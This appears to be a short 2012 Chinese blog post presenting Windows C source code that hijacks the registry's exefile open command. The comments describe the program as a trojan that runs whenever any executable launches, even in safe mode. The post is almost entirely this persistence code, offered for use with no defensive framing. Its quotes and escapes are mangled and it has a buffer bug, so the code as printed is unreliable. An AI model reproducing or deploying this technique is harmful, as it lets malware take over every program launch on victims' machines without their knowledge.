vc++實現檔案關聯

微wx笑發表於2012-08-09
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
MessageBox(NULL,”Hello”,NULL,MB_OK);
char temp[256];
memset(temp,0,256);
if(argc!=1){
int length =strlen(argv[1]);
char *ch=(char *)malloc(length);
strcpy(ch,argv[1]);
for(int i=0;i<length;i++,ch++)
{
if(*ch==`\`)
strncat(temp,”\\”,2);
else strncat(temp,ch,1);
}
}//上面的函式是把字串中所有的””變為”\”
char str[]=””%1″ %*”;
RegSetValue(HKEY_CLASSES_ROOT,”exefile\shell\open\command”,REG_SZ,(LPCTSTR)str,strlen(str)+1);
// 在執行原有程式之前必須把登錄檔恢復,否則用ShellExecute還是執行我們的木馬程式。
ShellExecute(NULL,”open”,temp,NULL,NULL,SW_SHOW);//執行原有的程式
//在程式執行完成後,再把登錄檔改為我們要啟動的木馬程式的
TCHAR filename[256];
// 得到程式全路徑名
GetModuleFileName( NULL, filename, 255 );
strcat(filename,” “%1″ %*”);
RegSetValue(HKEY_CLASSES_ROOT,”exefile\shell\open\command”,REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);
//經過上述過程只要程式一執行就會執行我們的start 程式了。即使是在安全模式下只要執行可執行程式就會執行我們的程式了。
return 0;
}


相關文章